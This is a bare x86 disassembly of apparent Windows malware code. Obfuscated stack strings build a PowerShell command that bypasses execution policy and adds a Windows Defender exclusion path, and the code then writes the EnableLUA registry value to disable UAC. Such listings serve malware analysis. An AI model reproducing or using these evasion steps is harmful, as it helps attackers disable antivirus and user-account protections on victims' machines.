mov byte [esp + 0x604], bl
call fcn.1000c780
lea eax, [esp + 0x800]
add esp, 0xc
mov dword [esp + 0xa0], 0x65776f70
mov dword [esp + 0xa4], 0x65687372
mov dword [esp + 0xa8], 0x652e6c6c
mov word [esp + 0xac], 0x6578
mov byte [esp + 0xae], bl
mov dword [esp + 0x54], 0x6578452d
mov dword [esp + 0x58], 0x69747563
mov dword [esp + 0x5c], 0x6f506e6f
mov dword [esp + 0x60], 0x7963696c
mov dword [esp + 0x64], 0x70794220
mov dword [esp + 0x68], 0x20737361
mov dword [esp + 0x6c], 0x2d646441
mov dword [esp + 0x70], 0x7250704d
mov dword [esp + 0x74], 0x72656665
mov dword [esp + 0x78], 0x65636e65
mov dword [esp + 0x7c], 0x78452d20
mov dword [esp + 0x80], 0x73756c63
mov dword [esp + 0x84], 0x506e6f69
mov dword [esp + 0x88], 0x20687461
mov dword [esp + 0x8c], 0x27732527
mov dword [esp + 0x90], 0x6f462d20
mov dword [esp + 0x94], 0x656372
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10004696
sub eax, edi
cmp eax, ebx
jbe 0x100046b1
lea eax, [esp + eax + 0x7f3]
cmp byte [eax], 0x5c
jne 0x100046b1
mov byte [eax], bl
push 0xfe
lea eax, [esp + 0x10f9]
push ebx
push eax
mov byte [esp + 0x1100], bl
call fcn.1000c780
add esp, 0xc
lea eax, [esp + 0x7f4]
push eax
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x10fc]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
push ebx
lea eax, [esp + 0x10fc]
push eax
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0x604]
push eax
push ebx
call dword [esp + 0x34]
lea eax, [esp + 0x18]
push eax
push 0x102
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004747
push 4
lea eax, [esp + 0x24]
push eax
push 4
push ebx
push str.EnableLUA
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000438d